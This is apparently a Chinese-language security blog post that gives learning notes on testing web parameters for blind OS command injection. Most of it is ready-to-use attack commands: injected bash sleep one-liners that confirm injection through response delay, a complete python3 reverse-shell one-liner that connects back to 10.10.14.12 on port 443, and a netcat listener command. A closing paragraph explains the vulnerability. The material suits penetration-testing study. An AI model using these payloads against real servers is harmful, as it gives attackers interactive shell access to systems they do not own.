测试盲注的思路
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/botesjuan/Blind-CMD-injection-Test
盲命令注入测试
测试盲命令注入
如果您怀疑 Web 参数容易受到命令注入但响应未反映任何注入的命令,请在睡眠条件下进行测试。
Bash IF 条件示例 - 在目标测试之前验证 oneliner 执行
;if [ -f /usr/bin/python3 ]; then echo "FILE FOUND" && sleep 10; else echo "FILE NOT FOUND" && sleep 0; fi

Bash oneliner if condition测试命令将等待10秒睡眠,如果文件在目标上确实存在
;if [ -f /usr/bin/python3 ]; then sleep 10; else sleep 0; fi
- 注意:在发送到目标之前,对注入的命令进行 URL 编码。
如果上述命令导致响应需要 10+ 秒才能返回,那么在 linux 目标上进行盲命令注入的好案例。
下面是单行python3反向shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在发送上述 Python3 反向 shell 命令注入之前,请准备好 netcat 并侦听端口 443。
rlwrap nc -nvlp 443

问题上下文
当应用程序将用户可控数据合并到由 shell 命令解释器处理的命令中时,就会出现操作系统命令注入漏洞。 如果用户数据没有经过严格验证,攻击者可以使用 shell 元字符来修改执行的命令,并注入将由服务器执行的任意进一步命令。
标签:学习路线, 思路分享, 学习笔记